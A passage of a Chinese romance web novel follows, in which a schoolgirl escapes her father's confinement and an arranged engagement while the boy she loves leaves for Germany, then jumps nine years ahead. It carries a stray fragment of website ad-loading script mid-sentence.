她喜欢在狭小的阁楼上,闻着她着迷的颜料味,听着暴雨打在窗户上的声音入睡,可是……紫色的闪电亮了又亮,闷雷响了又响,她等待的暴雨却迟迟未下, 张期期怅然地收回视线,目光停留在画板上的那张画上,那是她第一次见到陈恕的画面,她曾经将画送给了对方,后来她又忍不住重新画了一张。 ……只是到底是心境不同了,两张画还是有些区别的。 张期期愣愣地看着画纸上,橘黄色的路灯下抱着猫的少年,陈恕…… “叩叩叩——” 敲门声从阁楼下她房间外传进来,张期期皱了皱眉头,眼底泛起烦躁,莲姨的儿子最近反反复复发烧,今天回来的时候她就知道对方再次请了几天假回去照顾儿子,所以……能来敲她门的只能是她爸张世明。 敲门声还在持续着,大有一种她不开门,他就会一直敲下去的感觉。 又吵又烦,张期期强忍着情绪下了走下阁楼打开了房门,她不太想看见张世明的脸,便微垂着眸,“什么事啊?” 张世明面无表情道:“礼服已经送到楼下了,你自己挑一跳要穿哪套,配套的鞋子、首饰、妆容你不知道的话,让她们给你意见。” “礼服?”张期期抬眸,狐疑道:“真的只是礼服,而不是婚服吗?” 张世明闻言仿佛被噎到一样,他绷着脸道,“爸爸再希望你和向川在一起,也不会这么着急就按着你结婚。” “哦……” 张家明天要参加一个圈子里的晚宴,介于此时张世明和戚和风的离婚消息暂时还没有公布,因此戚和风没有出席的话,张期期是需要出席的,否则母女俩都没有出现的话,很容易让媒体揣测张家企业的当权人是不是夫妻情感不合。 那些年父母之间的感情有多深厚张期期是深有体会的,因此她对捕风捉影的媒体报道嗤之以鼻,而现在……张期期心里苦笑一声,还真是给当年那些媒体记者说准了,差距过大的爱情地基是不稳的,任高楼建得再豪华奢靡,地基不行,轰然崩塌只不过在一瞬之间而已。 她下了楼看着几个品牌的工作人员将她们最新出的礼服和鞋子一一挂起来,让她看着挑,看着试…… 张期期扫了一眼,随手指了一套黑色极简的过膝裙,“就这个吧。” 工作人员将张期期指着的那套礼服拿起来,眼神闪过为难,“张先生说让您选一套亮色、华丽一点的,这个……这个是不是太简约了?” “没事,我说的,就这个就行。” …… 翌日。 汽车的后座上,张期期、张世明各坐一边,自上车起,两人便没有说过一句话。李临开着车时不时隐晦地扫了一眼后视镜,担忧地看向张期期。 张期期抿了抿唇,她爸张世明刚刚看见她的装扮时,顿时脸色就难看起来。她手撑着下巴,目光直直地望着窗外,看都不看身旁的张世明一眼。 她之所以这么配合,同意出席这次的宴会,是因为她妈妈和她爸的离婚协议上就写了,要暂时为张家隐瞒婚变的事情,如此她妈妈才能拿到属于离婚后分到的一部分资产。 眼见着快到宴会举办的那座私人山庄,张世明才沉声道:“期期,不论你对爸爸有什么样的情绪,等会儿到了山庄之后,你的言行举止必须同往日无异。” “知道了。”张期期神色淡淡。 说话间,汽车驶进了山庄,缓缓停了下来,车门打开,张期期深深吸了一口气,提起了嘴角,她将手轻轻搭在张世明的手臂上,眉眼带笑地走进了宴厅。 刚一进入宴会厅,注意到张世明到来的其他人就举着酒杯走了过来,陆陆续续和张世明打着招呼,而张期期也时不时笑着喊叔叔、伯伯、阿姨等等…… 等张世明被一圈人围住了,张期期便悄悄地从他们的身边退开了,她找了个偏僻的位置坐了下来,随手拿着桌上的小蛋糕开始吃。 “期期……你来了?”一身白色西装的陆向川见到张期期时,脸上露出了惊喜的神情,他在对方的身旁坐下。 陆向川的神情让张期期顿时皱起了眉头,她迟疑道:“我来……不是很正常吗?为什么你这么高兴?” 这话问得陆向川愣了下,他惊诧道:“你不知道吗?” “知道什么?”她心底有些焦躁不安。 陆向川看着她认真道:“我听我爸说,这次的宴会上我爸和张叔叔要公布我们即将订婚的消息。我以为你来了,是同意了我之前的提议,跟我去美国。” 张期期脸色顿时难看起来,她直接道:“我不会去的,也不会和你订婚。”她站起来,“向川,我先走了,抱歉。” 陆向川伸手攥住她的手腕,一字一句道,“为什么?期期。难道是因为陈恕吗?双方差距过大的感情是不会有好结局的,你现在不是深有体会吗?” 张期期扯了扯嘴角,“不是因为陈恕,我不会因为任何人去到我不喜欢、人生地不熟的地方。至于你我之间……向川,你爸妈的家庭条件算得上是门当户对吧,那他们呢?你不是更深有体会吗?”说完,她毫不留恋,转身就走。 陆向川看着她的身影消失在眼前,沉默地坐在原地,不发一言。 此时,被张世明叮嘱过的宴厅工作人员见张期期转身要离开宴厅,她吓了一大跳,手上托着的酒杯也来不及放下,急急忙忙地想告知张世明。 “呀……”张雅兰皱起了眉头,她看着自己被泼到红酒的白色礼服,道,“你怎么看路的,算了,休息室在哪儿,现在立刻带我过去。” “徐太太……我……”工作人员懵了一瞬,好像明明是徐太太自己撞上来的吧?她支支吾吾道:“我现在有点事,能等一小会儿吗?我马上就……” 她还要找张先生,然后告知对方,张小姐跑出去了呢! “你能有什么事急得过我,我等会儿还有生意要谈,你让我这副样子见人吗?快带我过去……” “那……那好吧,徐太太您跟我过来……” 张雅兰闻言嘴角上扬,露出一丝笑意。 ……如果张家和陆家联姻的话,她以及背后的徐家对张世明来说就没有那么重要了,指不定哪天张世明又后悔了,重新回去找戚和风,毕竟戚和风这个女人真的很漂亮,比起年轻漂亮女孩子显得更有韵味。 而她也并没有十足的把握戚和风将来在现实面前不会妥协,不会和张世明复婚,也就戚和风这个命好的女人没有体验过商圈夫妻之间的“面和心不和”,才会如此天真。而当她见识过社会的艰难之后,估计就会明白张世明这样的男人已经算很难得的了…… 因此,她绝对不会允许张家和陆家联姻这件事发生的,只要没有陆家,那么张世明想更进一步能靠的只有她和徐家。 …… 另一边,因为私人山庄远离市区,所以这附近三公里内没有公交车路线,也很难打到车。 张期期从宴厅出去后就直奔张家的汽车,“李叔,现在开车,我们回去。” 李临无动于衷。 “开车啊——” 李临露出了为难的神情,他瓮声道:“期期,你别为难我了,给先生开车这份工作我很需要,对不起,期期……” 张期期沉默片刻,推门下车,她有腿可以自己走…… 顺着蜿蜒的山道刚走出百米外,迎面而来的是一辆有些眼熟的汽车,片刻后车辆停在了她的身边,车窗缓缓降下来,露出许敬亭的面容。 “期期?你这是……”许敬亭温声道。 “我要回去。”许是那一日,鲜血弥漫在她眼底,她最无助的时候是许敬亭出现了,又或者是对方的面容和她一向要好的许兰亭太过相似,所以这一刻面对对方的疑问时,她不知怎的,蓦然红了眼眶。 她哽着声音道:“我要回去。” 见状,许敬亭顿时皱起了眉头,他推开车门下车,并没有继续多问什么,而是道:“上车吧。”接着又对车前座的司机道,“小王,送她回去,皇家园林别墅。” 张期期被轻推了一下,她愣愣地上了车,眼见前排的司机要发动汽车掉头了,她连忙趴在车窗上,“那敬亭哥你怎么办?” “就几步路,我走过去就可以了。” 张期期皱起了眉头,她想问的并不是这个,而是他居然帮助她离开这儿的事,她还要说什么时,许敬亭笑了笑,“别担心……回去吧。” …… 后续宴会厅上的情况是怎么样的,张期期并不知晓,然而当张世明回来后,将她锁在房间里的时候,她就知道张世明肯定是气急败坏了。 张期期双手拉着房间门的门把手使劲地摇晃着,然而大门却依旧纹丝不动。她看着厚重的铝制大门,气得锤了一把,即便她力气再大,也不可能徒手破门。 算了……张期期无奈地叹了口气,没关系……张世明还能关她一辈子不成,再说了,后天周一她得去上学,张世明还要让她考金融管理专业呢,没道理还关着她,耽误她学习。 思及此,她完全放松了下来,甚至还坐回桌前,拿出几张试卷开始刷题,行吧,就当给自己暂时封闭式集训好了…… 然而令张期期没想到的是,一直到这一天,周一,张世明还真的不放她离开。 她哐哐哐地拍打着房门,大吼道:“张世明,你干什么啊?快放我出去,我要上学了。你真的疯了,你还是我爸吗?” 房门外毫无动静,张期期烦躁不安,她在房间内转来转去,眼眸微亮,随即大吼道:“你再不放我出去,我现在就报警,告你软禁未成年人!” ……那些媒体消息灵通得很,如此一来,张家的股票肯定跌。张期期底气十足地等着对方开门,然而房门外还是一片寂静。 张期期绷着脸翻找着课桌上的东西,等等……奇怪……不是……她手机呢?她手机呢!!!该不会是张世明那家伙半夜偷偷拿走的吧? 翻找一通后,她简直就差把地板给掀起来了,最终只能死心,手机确实不见了……不仅手机不见了,她房间的网线都被剪了,彻底断绝了她向外界求援的渠道…… 直到这一刻,张期期才意识到事情的严重性,早知道前天她就不情绪上头,直接跑回来,激怒张世明了。 现在该怎么办呢?她祈祷最好的结果是张世明只是想给她个教训,然后尽快把她放出来…… 张期期颓废地躺在床上,望着头顶雪白的房顶,一时间感到世界有些魔幻,为什么一个人能突然之间变化那么大呢,往日一脸温和笑容的张世明拿着花束藏在背后逗她们母女开心的场景仿佛还历历在目,然而现在呢?为了逼迫她妥协,甚至不惜将她关起来…… 泪水从她的眼眶缓慢溢出,再分别顺着太阳穴流下,沁入柔软的床单上。她怎么会不难过呢?或许这一刻,她过去心中的那个父亲终于死在了回忆里。 …… 104. 第 104 章 - 前几天,全省一模的考试成绩已经出来了,许兰亭的成绩、排名不进反退,因此周末他并没有回家,而是留在了学校继续学习。 早读课铃声响起时,他看着陈恕、张期期空荡荡的座位时,忍不住皱起了眉头。 闹别扭可以……但是不能影响学习到不来上课啊!难道为了不想见对方,连课都不来上了? 周嘉先、林听也察觉到了陈恕、张期期没来上课,脸上都露出了担忧的神情。 林听倾斜着身子探着头靠向许兰亭那边,她压低声音道:“兰亭,我手机忘记带了,要不你打个电话问问期期……她会不会是生病了?我觉得她不可能因为吵架就不来上学。陈恕也不是这样的人……” 许兰亭点点头,“好。” 正好这时早读课的英语老师还没来,他偷偷摸出手机,走到走廊外拨打了张期期的手机号码,打通了但一直没有人接听。 试了好几次,许兰亭只能无奈地收起手机,回到了教室内,他向着正看着他的林听和周嘉先摇了摇头,道:“没人接听。” 林听、周嘉先闻言,神色无奈,恰在这时,英语老师走进了教室内,他们几人只能暂时压下心事,先上早读课。 后来下课时,许兰亭又打了好几次电话,统统没有人接听。这期间,和张期期同宿舍的侯蕊和雷婷都走过来询问许兰亭和林听,“你们知道期期怎么没来上课吗?” “住校生照道理来说周日的下午她就应该提前回学校的,我们几个在宿舍群里问了她,她也没有回复……” 许兰亭摇摇头道,“我打过电话了,没人接啊!” …… 上午第三节课是化学课,化学老师站在讲台上讲着上一次模拟考的试卷,许兰亭拿着红色水笔将正确的答题步骤写到试卷上。 此时,他蓦然似有所觉地望向了接近教室前门的窗户处,那里站着一个身形清瘦挺直的少年,他单肩背着书包,目光定定地往这边看过来……视线在张期期空置的座位上停留了很久。 陈恕—— 许兰亭睁大双眸,同时心底狠狠地松了一口气,陈恕来上课了啊……来上课了就行。 接着他看见陈恕突然看向了他,许兰亭伸手挠了挠后脑勺,眼底疑惑不解,因为陈恕的眼神太奇怪了,还未等他明白过来时,他看见陈恕的目光从他脸上收回,又看了看林听、先哥一眼,再对着全班同学扫视了一遍。 许兰亭:??? ……这是怎么了?陈恕怎么还不进来,都到了教室门口了……片刻后,他看见陈恕对他微微笑了笑,随后攥着书包的带子转身离开了。 许兰亭隔着窗户,看着陈恕顺着走廊往前走,这是去年级办公室吧?他没有多想,想着陈恕可能是前两节课和昨晚的晚自修没来,所以要去和班主任说一声,补一下请假条吧。 …… 陈恕像往常一样在出租房内呆着,好在出租房内有以前超市打折时他囤的一箱泡面,周末的这两天时间内他就呆在出租房内,尽量不开灯不弄出大声的噪音,因此,倒也没有他想象中的被陈岩堵门的事情。 时间倒退回到今天早上天色还未亮时,陈恕早早地醒了。屋内光线昏沉,橘黄色的小台灯仅仅只能照亮一小圈的位置,屋内静谧无声,仿佛只能听见他自己浅浅的呼吸声。 陈恕心中的失落和彷徨、悲伤和苦痛犹有实质一般的沉甸甸着,他抽出柜子,柜子里静静地躺着一个透明的塑封袋,袋子里是几个月之前就已经收拾好的个人证件和出国的一些资料,德国学校的录取通知书等等…… 少年颓然地靠在椅背上,微垂着头闭上了双眼。他心无归处,无处可依…… 在这昏暗寂静的简陋出租屋内,他听见了自己跳动的心脏声,年幼时的苦痛和绝望像潮水一样涌过来,弥新永不褪色,鲜血淋漓地刻在他的心头。 他习惯了忍受黑暗绝望的生活时,期期横冲直撞地闯入他的心中,在他心中建造了一座明亮的灯塔…… 他即便再愤恨世界、命运的不公时,依旧忍不住伸手去触碰光芒。然而当他的手就要触摸到炙热的希望之光时,灯塔忽而轰然倒塌,世界重归寂静昏暗。 心无归处,无处可依…… 心无归处,无处可依…… 良久良久,少年站起身,神色淡漠,他伸手将透明的塑封袋拿好,塞进随身携带的书包里,拉上墙角的行李箱走进了昏暗不明的晨曦中。 …… 周末两天的时间已经够陈恕摸出陈岩在这附近出没的时间点了,当天色未亮时,陈岩并不在这附近,所以陈恕借着这个时间点才能够坦然从出租屋内走出来。 再者,他需要将这间出租屋退掉,毕竟这一走估计要好几年的时间,出租屋的房东在这附近开着一家餐饮店,只有早上还未开门的这一会儿功夫才有时间。 餐饮店门口,蒸笼上的热气缓缓升起,消失在空气中,隔着迷蒙的水雾起,陈恕低声喊道:“吴阿姨……我来退房。” 吴霞闻言连忙走出来,她双手在围裙上擦了擦,将陈恕拉进了店面里,她的第一任丈夫是上瑶村陈家人,所以她也是知道陈恕的事的,所以此刻她压低了嗓子道:“是因为陈岩的问题吗?姨跟你说,你……” 陈恕笑了一下,打断她的话道:“不是他的事,吴阿姨……我保送到国外的大学了,所以要走了,不好意思,没提前和你说就要退房。” 陈岩并不知晓他要离开京照市,所以之后肯定还会过来这里闹,他将自己离开京照一中的消息透露出去,到时候吴阿姨在他走之后为了避免她出租的自建房生意不好,肯定会告诉对方的。 这样一来,陈岩知道他离开了,自然不会再做无意义的事情,也不会再到京照一中找他,陈最应该就安全了吧……这是他这个做哥哥的最后能为他做的事情了。 吴霞闻言,顿时高兴起来,笑着恭喜了他好几次,又道:“虽然你是临时说的,但姨也不扣你押金了,去了国外一个人生活要注意安全啊!” “谢谢——”陈恕接过吴霞退给他的住房押金,认真地道谢。 吴霞看着少年的身影消失在小巷子里,忍不住为这孩子心酸又高兴,走吧,远远地走吧……这么优秀的孩子不该被原生家庭拖进泥泞中。 …… 机票是早上十一点半的时间,现在时间还早。 今日是阴天,天虽然已经亮了起来,但头顶的天幕依旧带着些阴沉。 陈恕站在马路的对面看着京照一中的校门口,车水马龙,三三两两扎成团的学生在或在嬉笑打闹着,或谈论着学习上的内容,明明他还算是一中的学生,此时却仿佛是一个旁观者一样格格不入。 浓云时卷时舒,他伫立在原地,看着车水马龙逐渐散去,嘈杂喧闹的校门口重新变得安静下来。 ……他站在这里做什么呢?陈恕嘴角扯了扯,泛起一丝丝的苦涩,京照机场离一中不算近,所以他最好还是得提前两个小时出发。 九点钟了,时间差不多了……少年拉上行李箱,攥着背包的带子转身就走,然后才刚走出几步路,他蓦然脚尖一转又走了回来。 陈恕眼底是无尽的挫败,即便在要走的关头,他还是忍不住动摇了,期期……期期!他深深闭了闭眼,最后一次…… 少年将行李箱放在门口保卫处,攥着书包的带子飞快朝着高三教学楼跑去,如果她还在……如果她没有走呢…… 走廊对流的风带着不容忽视的风雨欲来的湿润感,吹拂过重点一班教室门口处的少年,少年心中微弱的希望之火忽而灭掉了,看着她所属的座位上空无一人,一股凉意径直冲上他的心间。 期期……她真的走了。 她走了。 少年微微垂下了眼眸,眼底满是自嘲,曾经说好、提议大家永远在一起的人反而率先离开了,好笑、可笑…… 最后,他的目光落在了见到他时眼眸一亮的许兰亭上,再接着他看了看林听、周嘉先,以及这班上曾经为他出声、为他打抱不平的同学们。 为了让自己不再留恋,他扫了一眼之后,立刻转身就走,下节课是曾老师的语文课,他现在应该会在年级办公室里,他得过去一趟。 …… 零散的绿叶随着风刮过而从树上飘落下来,陈恕停下脚步,伸出手接住了缓缓飘落的一片树叶,他低垂着眼帘,看着掌心的树叶,眼底是复杂浓厚的情感交织在一起,怎么也化不开。 片刻后,他紧紧攥住这片叶子,握在了掌心中。 …… 狭小的窗玻璃外,是旷阔无比的停机坪,不远处摆渡车正在缓慢地行驶着,飞机准备下客,他们来到了京照这座城市。 而他,已经坐在了飞机座位上,他即将离开…… 空乘们在通道上一遍遍的提示着旅客“收起小桌板、系上安全带”,很快飞机开始滑行,失重感顿生,他紧紧闭上双眼,脑海里蓦然浮现出那一夜他去找期期时,皇家园林别墅区那位保安大哥的话。 …… 「大概因为你身上的校服吧,京照一中,全市最好的一中,全省排名第二的中学。这小区里几乎所有的业主家的孩子都能在这所高中就读,所以你来这找朋友合情合理啊……加上我们对读书好的学生比较有滤镜?」 这个世界即便上层富有的人占据了大量的资源,但贫穷的人靠着优异的学习能力也能夺得几分的特殊。 …… 飞机穿过了浓云,进入高空平稳的巡航阶段,陈恕睁开双眼,窗外是湛蓝无边无际的天空,只要他够努力,够优秀,能占据的资源和优待就更多,等他足够强大,他是不是也能有被期期的父母选择的资格。 至于期期的妈妈所说的话,陈恕不是没有迷茫,但这是他唯一的路了…… * 张家。 张期期扒在门上,耳朵贴着门缝,屏住呼吸细细地分辩着楼下传来的声音,好像真的有人回来了? 半响,她听见有人踩着木板楼梯走了上来,这脚步声……好像是莲姨的? 莲姨!! 张期期眼眸大亮,她立刻砰砰砰地拍打着房门,大声喊道:“莲姨——莲姨……” 莲姨:??? 昨天晚上八点多时儿子的烧终于彻底退了,一直到今天早上十点多,都没有再烧起来了,所以她就继续来主家上班了。 耽误了这么多天时间,莲姨心里非常不好意思,张家给的工资高,先生太太……哦不,太太已经离开了,总之张家这份工作是真的不错,她请了这么多天假,张家也没有找其他人代替她,所以今天早上再次确认儿子没事后,她立刻来上班了。 想着将别墅从上而下打扫一下,她上了五楼,却突然听到期期拍门和喊她的声音,莲姨惊讶地跑到房间门口,问道:“期期,你怎么没去上课?” 真是莲姨!是莲姨提前回来了! “是我爸……”张期期本想脱口而出是她爸把她关起来的,但突然想到一直送她上下学的李叔,她硬生生改口道:“是我把门不小心搞坏了,莲姨你去拿一下备用钥匙帮我开一下门。快去!”万一她爸回来就麻烦了。 “啊!哦,好好好。我现在就去拿。” 很快,房门传来一大串钥匙相互碰撞的金属声,张期期心如擂鼓地等待着,突然门咔哒一声就被打开了,看着门外莲姨的面容,她嚎叫一声扑在对方的身上,“莲姨……” 莲姨笑了笑,“下次不要这么不小心了,还好我刚好提早回来了……” 张期期边听着边探头探脑,她爸果真不在,“好了好了,莲姨我知道了,这次谢谢莲姨啦。” 莲姨下楼忙活去了,张期期眨了眨眼,立刻回房间收起东西,背上书包转身就想跑,刚踩着木质楼梯时,她突然想起来她的手机被拿走了…… 手机……会在哪里呢? 她眼眸微转,偷偷摸进了张世明的书房内,随手拉开了书桌柜子,她的手机果然躺在柜子里。 张期期立刻拿起来,上面是十几个未接来电,都是许兰亭打过来的,她将手机攥在手心准备离开时,余光落在柜子里放着的一个档案袋上,上面赫然写着“张期期”的名字。 这是她的档案,她的学生档案啊!她颤抖着手拿起来,仔仔细细打量了牛皮纸封好的档案,只要考入大学,校方就会把她的档案转到大学,现在档案被拿了,她还怎么继续升学? 张期期顿时惊疑不定,算了,来不及细想了,她攥紧档案袋和手机就想离开,然而档案袋的边角突然触碰到了鼠标,电脑页面疏忽间亮了起来…… 她余光瞥了一眼,等等……这是在申请美国的签证?申请人名字,张期期。 「期期……跟我去美国吧……去过一段不需要被长辈掌控、随心所欲的生活。」张期期大惊失色,想起来陆向川说的话。 难道这并不是陆向川的一厢情愿,而是他们之间的预谋?只有她自己毫不知情…… 这一刻,她终于意识到她已经到了四面楚歌的地步,刚才她想的仅仅只是赶紧趁张世明还没回来之前躲到学校去而已……然而事实却远远没有她想的那么简单。 她手中的档案是她目前最重要的东西,关系到她的未来,关系到她会不会被别人掌控人生的选择。 怎么办?她该怎么办? 一时间张期期也想不出办法来,她攥紧手心,心道,先跑吧。于是她又转身跑回了房间里,将原本放在房间柜子里的身份证、银行卡塞进了书包里,随后她快步跑下了楼梯,冲出了家门。 身后隐隐约约传来莲姨的呼喊声,张期期头也不回,对不起了莲姨。 * 宽阔的十字路口,往来的汽车飞驰而过,张期期站在人行道上看着红绿灯交错闪烁,她神色迷茫,该往哪里去呢? 去学校吗?把档案再次交给学校?不!她能交一次,张世明便能让校方拿出来一次。 但不去学校,她又能去哪里?难道乖乖地顺从张世明为她做出的选择吗?不!她打从心底里感到排斥…… 混乱的情绪交织在她的心中,张期期突然想见见陈恕,在这一刻她猛然意识到幸福的家庭是她蓬勃生长的养分,如今家庭破碎的她惶惶无所依,而陈恕……全身心信赖她的少年在这一刻能让她汲取到丰沛的情绪价值。 她转身往京照一中而去,她只是想见见他而已…… …… 风渐渐变大了,阴沉的天幕压在头顶上,今天的天气泛着微微的凉意。 张期期孤身一人坐在操场观众席最上方的那一级台阶上,头顶的榕树树冠随着风晃动着,发出飒飒飒的声响,她从高三教学楼走出来后,就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 直接坐在了这儿。 属于陈恕的座位上已经没人了…… 她又在楼梯的拐角处遇见了曾老师,并在对方的嘴里证实陈恕确实离开京兆,前往德国了。 眼前忽而飘飘扬扬地落下一片树叶,张期期伸手接住,望着这片绿叶发呆,陈恕走了……走了才好啊…… 她嘴角微微露出笑意,不知是苦涩还是庆幸…… 他和她之间有了短暂的交错,而现在他们的相遇已经落下了帷幕,谁都得为自己往前走,谁也都担负不起别人的未来。 凉风卷起她的发梢,张期期随手将其别在耳后,视线落在手机上,她心念一动,拨打了“妈妈”的手机号码。 嘟嘟嘟—— 电话过了很久很久才被接通,张期期紧张又无措地喊了一声,“妈,我……” “期期,妈妈现在忙着训练,晚些再打电话给你啊!” 嘟嘟嘟——电话被挂断了。 冰冷机械的声音一遍遍回响在耳边,过了良久,她终于无力地将手机放下,泛着苦涩的潮水仿佛涌上心头,往日她拥有的一切美好都轰然散去,时间大刀阔斧地将她潜意识中依赖的那一部分全部剥离,只剩下羸弱不堪的自己。 「……前途、梦想这些深深刻在你心中的东西远比身外的一切来得更重要,镜花水月般的情感终会消散,只有你最盼望、渴望的东西才能带你去更好的未来,才能让你永不后悔。」 「……期期,你呢?妈妈记得你喜欢画画吧?期期,好好考虑考虑接下来的道路,不要考虑家庭、父母、朋友,问问你自己的心,问问你心底最深切的渴望。」 “我自己的心……我心底最深切的渴望……”张期期低声喃喃道。 她缓缓伸出手,试探着攥了攥手心,她闭上眼仿佛在感受画笔在手心的触觉,过去的她底气十足,她可以为朋友和喜欢的人一次次地勇往直前,这都依托于她扎根的恩爱家庭,但如今她脚下的养分干涸,即将枯萎的她应该为自己找到养分,剥离父母的呵护之后的羸弱的她应该为自己找到一身铠甲。 「……只有你最盼望、渴望的东西才能带你去更好的未来,才能让你永不后悔。」 她的意识仿佛站在人潮汹涌的十字路口,身边无数人擦肩而过,向左向右、向前向后,她伸出手摸了摸自己跳动的心脏,混沌模糊的四周猛然亮起了一道耀眼的光芒。 噔噔噔—— 放在书包上的手机突然震动起来,张期期猛然回过神,她下意识望过去上面的来电显示“爸爸”,糟了,她爸肯定知道她跑了。 张期期猛地站起来,抄起书包往下跑。她得先离开学校,她爸肯定会猜到她来学校了。 少女的身形越显单薄,她奔跑着穿过宽阔的操场。 “期期!!!”身后传来一声熟悉的呼喊声,张期期脚步一滞,停下来转身望过去,“兰亭……” 许兰亭气急败坏地跑过来,“你和陈恕到底怎么回事,一整天都没来上课。” 今天下午最后一节课是数学课,他昨晚做的数学试卷忘在了宿舍里,所以这会儿他拿了试卷刚从宿舍跑过来。 张期期张了张嘴,心里泛上酸楚,她深深吸了一口气,忍住发酸的眼角,“兰亭,陈恕已经离开京照市了,他去德国了。而我……也必须走了。” 许兰亭愣在原地,怎么……怎么突然间发生了这么魔幻的事情,他急声道:“你在说什么啊,怎么……怎么这么突然?不是……为什么啊?你们到底怎么了?” 恰在这时,张期期的手机再次响了起来,许兰亭眼见着张期期看了一眼后,脸色更加慌张难看,这怎么了……不就张叔叔打电话给她吗? “兰亭,我要走了。”张期期伸出手按在许兰亭的胳膊上,继续说道:“别担心。我们都会好好的。你和林听也加油。” “我走了。” 张期期收回手,攥上书包的带子再深深地看了一眼许兰亭,随后转身离开。 …… 去哪里,张期期一时间并未想清楚,但她知道现在她应该先去能够及时离开京照市的高铁站。 嘈杂拥挤的高铁站门口伫立着一块轮换着广告的显示屏,显示屏上播放着她曾经去过的那家在金河湾商都里的美术培训班的招生信息。 张期期眼眸微转,曾经和她同届的参加美术艺考的同学已经经过了各校的校招,他们只需要再考文化课就行了,而她呢?同样怀揣着美术梦想的她呢? 鹿海市的“鹿海美术学院”是全国最好、最顶尖的美术殿堂。只要学美术的人都会知晓。 她要去鹿海市!!! 这个城市的人文和艺术文化底蕴深厚,而且……她姥姥家就在鹿海市,连她妈妈都不知道的是,其实她和姥姥一直保持着联系,虽然没有很频繁,但逢年过节的电话是少不了的。 张期期顿了下,果断转身朝着高铁站旁边的银行跑过去,她手头上有两张银行卡,一张是张世明给她的,一张是她妈妈给她的,这一张她从小到大积攒的零花钱、压岁钱都存在里头,数额巨大。 她将张世明给她的那张银行卡里面的三万块钱全部取了出来,塞在了书包内。现金很重要! …… “京照开往鹿海的高铁A103次列车,再过5分钟就要检票了,请您做好准备……” 张期期将车票的条形码按在识别口出,条码检票机的栅栏瞬间缩进去,她转身视线穿过人潮汹涌的高铁站望向了玻璃墙外的京照市,青春的尾声在这一刻落入沉寂的海底。 再见,京照。 * 京照一中。 许兰亭望着张期期的背影消失在视野里,他捏着试卷的指尖微微发白。 “这都是什么事啊!”少年烦躁地揪了揪头发,说好的大家一起上华大,怎么最有可能考上的那两个人突然就离开了…… 陈恕去德国就算了,他原本保送的学校就是国外的大学,期期是怎么回事?她要走?走去哪啊! 许兰亭余光瞥了一眼手中下节课要评讲的试卷,算了,他能有什么办法,只能晚点再给期期打个电话问清楚情况了,不知道为什么她刚才怎么那么慌…… 此时正是下课时间,不远处的篮球场上人声鼎沸,一群非高三生正在打篮球,突然篮球飞出了场外,“砰砰砰”一下又一下地击打着地面,最后卸力般地滚到了许兰亭的脚边。 “同学——能帮我们把球扔过来吗?”篮球场上的同学冲着许兰亭喊道。 许兰亭眉眼一挑,将数学试卷折叠后塞进校裤一侧的口袋里,他弯下腰,手掌将篮球控在手心,随后看向篮球框,他小跑着冲过去,双脚起跳…… 起跳的一瞬间,少年脚一崴…… 砰—— 一声闷响仿如惊雷一样砸在在场所有人的心头,尖叫声炸响,杂乱无章的脚步声顿起…… “快去叫老师——快去啊——” “别动,不要随便动他……他的脖子他的脖子……” “打120啊——快点啊——” “……” 天幕上轰隆的雷声一阵接着一阵,闪电在浮云中若隐若现,阴云密布了很长一段时间的城市终于下起了暴雨,潮湿的水雾飘散在空气中…… 京照市,暴雨如注。 ——【天光卷】完。 105. 第 105 章 -【天光卷】 京照市,金颂律师事务所。 律所门口,周嘉先指尖在密码锁上按了几个数字之后,密码锁发出了“滴”的一声,他推开玻璃门走进律所内。 此时,天色才微微亮,律所内一片漆黑。 今天早上他要去法院那边,并且准备在开庭前再和己方的委托者再聊一下,考虑到今天是周一,他生怕万一塞车了,这才这么早过来律所。 周嘉先“啪”地一下,打开了律所墙壁上的灯光,他穿过员工的办公区走向他自己的办公室。 嗯? 周嘉先突然往后退了几步,看向陈恕的办公室,里面黑漆漆的,但因为员工这边的办公区灯光被他打开了,所以部分光线射了进去,里面隐隐约约有个人影靠着坐在办公椅上。 是陈恕吗?他回来了? 周嘉先走过去轻轻敲了敲对方办公室的门,“陈恕……” 昏暗中,闭着眼帘休息的陈恕缓缓睁开了眼睛,他调整了一下姿势,“是我,先哥。” 下一刻,办公室的门就被推开,周嘉先打开了陈恕办公室的灯光,在昏暗中呆久了,突然见着灯光,陈恕下意识微微眯起了双眼。 他伸手拧了拧眉心,“先哥,你今天怎么这么早?” 周嘉先随意拉了张椅子坐下,好整以暇地问道:“是啊,你今天怎么这么早?哦,不对,你是昨晚就没回去吗?怎么,真打算把办公室当家了……” 对于这些调侃,陈恕一向接受良好,他微微笑了笑,翻开桌子上的案件资料低头看着,一边道:“先哥是要去法院吗?案件资料、证据什么的不需要再检查一遍?” “你……”周嘉先被噎了一下,他没好气道:“早就整理确认好了,真要等到开庭当日才整理?你当我上班摸鱼呐?” 陈恕抬眸,无所谓地摊开了手掌心,表明自己没这个意思,又道:“好了,先哥,我很忙,这些证据资料还没看呢!” 周嘉先突然沉默下来,他目光灼灼地盯着陈恕看,陈恕翻阅着资料的指尖微顿,他抬眸再次笑道:“怎么了?先哥……” “是你怎么了?陈恕,我们认识这么多年,你以为你的异样能逃得过我的眼睛吗?” 按照陈恕的行程他原本应该在更早的时候从鹿海市回来,但却推迟到了昨天晚上才回来,这一点对于他这么个追求高效率的人来说,实在是稀奇。 且此时的他表面上虽然看起来和往日无异,但急着催促他离开更让他确认了这一点,毕竟以往的陈恕在面对自己的调侃时,往往是完全不在意的,甚至懒得回答他的话的。 张期期…… 周嘉先心中无声喃喃道,这个世界上仅有她才会让如今的陈恕乱了阵脚。鹿海市石塘镇,也是他选中的律所对外帮助项目的城镇之一,陈恕这是遇见了她吧? 异样……他的异样?如此明显吗? 陈恕垂下眸,手中的案件资料再也看不下去了,不……他看着从昨天晚上回来到现在还未翻过几页的资料,心里苦笑不已,早就看不下去了。 他的情绪、思绪全部系于她一人身上,哪怕九年过去,她还是能轻而易举地摧毁他竖起的心墙。 陈恕疲倦地往后坐了坐,靠在椅背上,低声道:“先哥,我遇见期期了。她就在鹿海市,我没想到她会在那里。” 果然……周嘉先心道,鹿海市石塘镇说大也不大,但说小也不能算小,他们俩还真能遇见,真是缘分啊! 其实若不是……他们俩早就该遇见了,或许也不会错过这么多年,但人心都是偏的,他也不例外。 周嘉先心中长长地叹了一口气,又见陈恕这般低落的样子,他道:“九年都过去了,你们没有好好谈谈吗?” “我……”陈恕伸手捂住上半张脸,遮住了眼底复杂的情绪,“我不知道该谈什么?当年她离开的事我一点都不想听。”特别是事关她和另一个男人…… 